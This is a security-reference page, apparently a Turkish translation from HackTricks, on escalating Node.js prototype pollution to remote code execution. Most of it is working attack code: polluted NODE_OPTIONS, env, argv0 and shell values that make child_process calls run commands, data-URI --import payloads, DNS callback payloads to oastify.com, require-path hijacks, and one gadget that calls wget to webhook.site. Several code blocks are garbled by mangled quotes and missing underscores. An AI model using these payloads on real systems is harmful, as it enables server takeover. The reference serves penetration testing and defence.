Prototype Pollution to RCE
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Vulnerable Code
Gerçek bir JS’in aşağıdaki gibi bir kod kullandığını hayal edin:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE env değişkenleri aracılığıyla
PP2RCE, Prototype Pollution to RCE (Uzak Kod Çalıştırma) anlamına gelir.
Bu yazıya göre, bir işlem başlatıldığında child_process’ten bazı yöntemlerle (örneğin fork veya spawn gibi) normalizeSpawnArguments yöntemini çağırır; bu, yeni env değişkenleri oluşturmak için bir prototip kirletme aracıdır:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
Kodunuzu kontrol edin, envPairs’i kirleterek .env niteliğini zehirlemenin mümkün olduğunu görebilirsiniz.
__proto__’yu Zehirleme
Warning
child_processkütüphanesindekinormalizeSpawnArgumentsfonksiyonunun çalışma şekli nedeniyle, bir süreç için yeni bir env değişkeni ayarlamak amacıyla bir şey çağrıldığında, sadece herhangi bir şeyi kirletmeniz yeterlidir.
Örneğin,__proto__.avar="valuevar"yaparsanız, süreçavaradında ve değerivaluevarolan bir değişkenle başlatılacaktır.Ancak, env değişkeninin ilk olması için
.envniteliğini kirletmeniz gerekir ve (sadece bazı yöntemlerde) o değişken ilk olacaktır (saldırıya izin verir).Bu nedenle, aşağıdaki saldırıda
NODE_OPTIONS.enviçinde değildir.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
constructor.prototype Zehirleme
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE env değişkenleri + cmdline aracılığıyla
Öncekiyle benzer bir yük, bazı değişikliklerle bu yazıda** önerilmiştir.** Ana farklar şunlardır:
- Nodejs payload’ını
/proc/self/environdosyasında saklamak yerine,/proc/self/cmdlineiçindeki argv0’da saklar. - Ardından,
NODE_OPTIONSaracılığıyla/proc/self/environdosyasını gerektirmek yerine,/proc/self/cmdlinedosyasını gerektirir.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE via --import (Node ≥ 19)
Note
Node.js 19’dan itibaren CLI bayrağı
--import,--requiregibiNODE_OPTIONSüzerinden geçirilebilir.--require’dan farklı olarak,--importdata-URI’lerini anlar, bu nedenle saldırganın dosya sistemine yazma erişimine ihtiyacı yoktur. Bu, aracı kilitlenmiş veya yalnızca okunabilir ortamlarda çok daha güvenilir hale getirir.Bu teknik, Mayıs 2023’te PortSwigger araştırması tarafından ilk kez kamuya belgelenmiş ve o zamandan beri birkaç CTF yarışmasında yeniden üretilmiştir.
Saldırı, yukarıda gösterilen --require /proc/self/* numaralarına kavramsal olarak aynıdır, ancak bir dosyaya işaret etmek yerine yükü doğrudan base64 kodlu bir data: URL’sine gömüyoruz:
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");
Sayfanın üst kısmında gösterilen savunmasız merge/clone sink’ini istismar etmek:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
Neden --import yardımcı olur
- Disk etkileşimi yok – yük tamamen işlem komut satırı ve ortamı içinde yol alır.
- Sadece ESM ortamlarında çalışır –
--import, modern Node sürümlerinde ECMAScript Modüllerine varsayılan olarak JavaScript’i önceden yüklemenin kanonik yoludur. - Bazı
--requireizin listelerini atlar – birkaç sertleştirme kütüphanesi yalnızca--require’ı filtreler,--import’ı dokunulmaz bırakır.
Warning
NODE_OPTIONSiçindeki--importdesteği en son Node 22.2.0’da (Haziran 2025) hala mevcuttur. Node çekirdek ekibi gelecekte veri-URI’lerini kısıtlama konusunda tartışıyor, ancak yazma anında herhangi bir hafifletme mevcut değildir.
DNS Etkileşimi
Aşağıdaki yükleri kullanarak daha önce tartıştığımız NODE_OPTIONS ortam değişkenini kötüye kullanmak ve bunun bir DNS etkileşimi ile çalışıp çalışmadığını tespit etmek mümkündür:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
Ya da, WAF’ların alan adı istemesini önlemek için:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE vuln child_process functions
Bu bölümde child_process’ten her bir fonksiyonu analiz edeceğiz ve bu fonksiyonun kodu çalıştırmasını sağlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:
exec istismarı
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/exec-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = exec(“something”)
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = exec(“something”)
</details>
<details>
<summary><strong><code>execFile</code> istismar</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
execFile’ın çalışması için mutlaka node’u çalıştırması GEREKİR.
Eğer node’u çalıştırmıyorsa, çalıştırdığı şeyi çevresel değişkenlerle değiştirmenin bir yolunu bulmalısınız ve bunları ayarlamalısınız.
Diğer teknikler bu gereklilik olmadan çalışır çünkü neyin çalıştırıldığını prototip kirlenmesi yoluyla değiştirmek mümkündür. (Bu durumda, .shell’i kirletebilseniz bile, çalıştırılan şeyi kirletemezsiniz).
fork istismarı
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(“child_process”) p = {} p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/fork-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = fork(“something”)
// stdin trick - not working // Not using stdin
// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(“child_process”) b = {} b.proto.execPath = “/bin/sh” b.proto.argv0 = “/bin/sh” b.proto.execArgv = [“-c”, “touch /tmp/fork-execArgv”] var proc = fork(“./a_file.js”)
// Windows // Working after kEmptyObject (fix) const { fork } = require(“child_process”) b = {} b.proto.execPath = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = fork(“./a_file.js”)
</details>
<details>
<summary><strong><code>spawn</code> istismar</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync istismarı
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/execFileSync-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = execFileSync(“something”)
// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(“child_process”) p = {} p.proto.argv0 = “/usr/bin/vim” p.proto.shell = “/usr/bin/vim” p.proto.input = “:!{touch /tmp/execFileSync-stdin}\n” var proc = execFileSync(“something”)
// Windows // Working after kEmptyObject (fix) const { execSync } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” p.proto.argv0 = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = execSync(“something”)
</details>
<details>
<summary><strong><code>execSync</code> istismar</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync istismar
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/spawnSync-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“/tmp”}); //To work after kEmptyObject (fix)
// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.argv0 = “/usr/bin/vim” p.proto.shell = “/usr/bin/vim” p.proto.input = “:!{touch /tmp/spawnSync-stdin}\n” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“/tmp”}); //To work after kEmptyObject (fix)
// Windows // NOT working after require(fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“C:\”}); //To work after kEmptyObject (fix)
</details>
## Zorla Spawn
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl gerçekleştireceğinizi gördünüz; bir işlevin **`spawn`** çağırması için **mevcut** olması gerekir (bir şeyi çalıştırmak için kullanılan tüm **`child_process`** yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
### Bir require dosya yolunu kontrol etme
Bu [**diğer yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kullanıcı, bir **`require`**'ın çalıştırılacağı dosya yolunu kontrol edebilir. Bu senaryoda, saldırganın sadece **sistemde bir `.js` dosyası bulması** gerekir ki bu dosya **içe aktarıldığında bir spawn yöntemini çalıştıracaktır.**\
İçe aktarıldığında bir spawn işlevini çağıran bazı yaygın dosya örnekleri şunlardır:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- **Aşağıda daha fazla dosya bulun**
Aşağıdaki basit betik, **child_process**'ten **çağrıları** **herhangi bir padding olmadan** arayacaktır (fonksiyonlar içindeki çağrıları göstermemek için):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Önceki script tarafından bulunan ilginç dosyalar
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/) - node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status); - node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' }); - node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim(); - node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
Prototip kirlenmesi ile require dosya yolunu ayarlama
Warning
Önceki teknik, kullanıcının require edilecek dosyanın yolunu kontrol etmesini gerektirir. Ancak bu her zaman doğru değildir.
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, require edilecek yolu kontrol etmiyorsanız bile, prototip kirlenmesini kötüye kullanarak farklı bir yolu zorlayabilirsiniz. Yani, kod satırı require("./a_file.js") veya require("bytes") gibi olsa bile, kirlettiğiniz paketi require edecektir.
Bu nedenle, eğer prototip kirlenmesinden sonra bir require işlemi gerçekleştirilirse ve hiçbir spawn fonksiyonu yoksa, bu saldırıdır:
- Sistem içinde require edildiğinde
child_processkullanarak bir şey çalıştıracak bir.jsdosyası bulun - Saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
.jsdosyasının require yüklemesini zorlamak için yolları kirletin ve bu dosyachild_processile bir şey çalıştıracaktır- Bir
child_processyürütme fonksiyonu çağrıldığında rastgele kod çalıştırmak için çevre/cmdline’ı kirletin (ilk tekniklere bakın)
Mutlak require
Eğer gerçekleştirilen require mutlak ise (require("bytes")) ve paket package.json dosyasında main içermiyorsa, main niteliğini kirletebilir ve require’ın farklı bir dosyayı çalıştırmasını sağlayabilirsiniz.
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Göreceli gereksinim - 1
Eğer bir göreceli yol yerine bir mutlak yol yüklenirse, node’u farklı bir yolu yüklemesi için yönlendirebilirsiniz:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Göreceli gereksinim - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Relative require - 3
Öncekine benzer şekilde, bu bu yazıda bulundu.
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
Makalede https://arxiv.org/pdf/2207.11171.pdf vm kütüphanesinin bazı yöntemlerinden contextExtensions kontrolünün bir gadget olarak kullanılabileceği de belirtilmiştir.
Ancak, önceki child_process yöntemleri gibi, en son sürümlerde düzeltilmiştir.
Fixes & Unexpected protections
Lütfen, prototip kirletmenin, erişilen bir nesnenin özelliği undefined olduğunda çalıştığını unutmayın. Eğer kodda bu özellik bir değer ile ayarlanmışsa, onu üzerine yazamazsınız.
Haziran 2022’de bu commit ile options değişkeni {} yerine kEmptyObject olarak ayarlanmıştır. Bu, prototip kirletmenin options özelliklerini etkilemesini engeller ve RCE elde etmeyi zorlaştırır.
En azından v18.4.0’dan itibaren bu koruma uygulanmıştır ve bu nedenle spawn ve spawnSync sömürüleri artık yöntemleri etkilememektedir (eğer options kullanılmıyorsa!).
Bu committe contextExtensions’ın prototip kirletmesi vm kütüphanesinden bir tür düzeltilmiştir; options kEmptyObject olarak ayarlanmıştır, {} yerine.
[!INFO] Node 20 (Nisan 2023) & Node 22 (Nisan 2025) daha fazla güçlendirme ile geldi: birkaç
child_processyardımcı programı artık kullanıcı tarafından sağlananoptions’ıCopyOptions()ile kopyalamaktadır, referansla kullanmak yerine. Bu,stdiogibi iç içe nesnelerin kirletilmesini engeller, ancak yukarıda açıklananNODE_OPTIONS/--importhilelerine karşı koruma sağlamaz – bu bayraklar hala ortam değişkenleri aracılığıyla kabul edilmektedir. Tam bir düzeltme, hangi CLI bayraklarının ana süreçten yayılabileceğini kısıtlamalıdır; bu, Node Issue #50559’da takip edilmektedir.
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

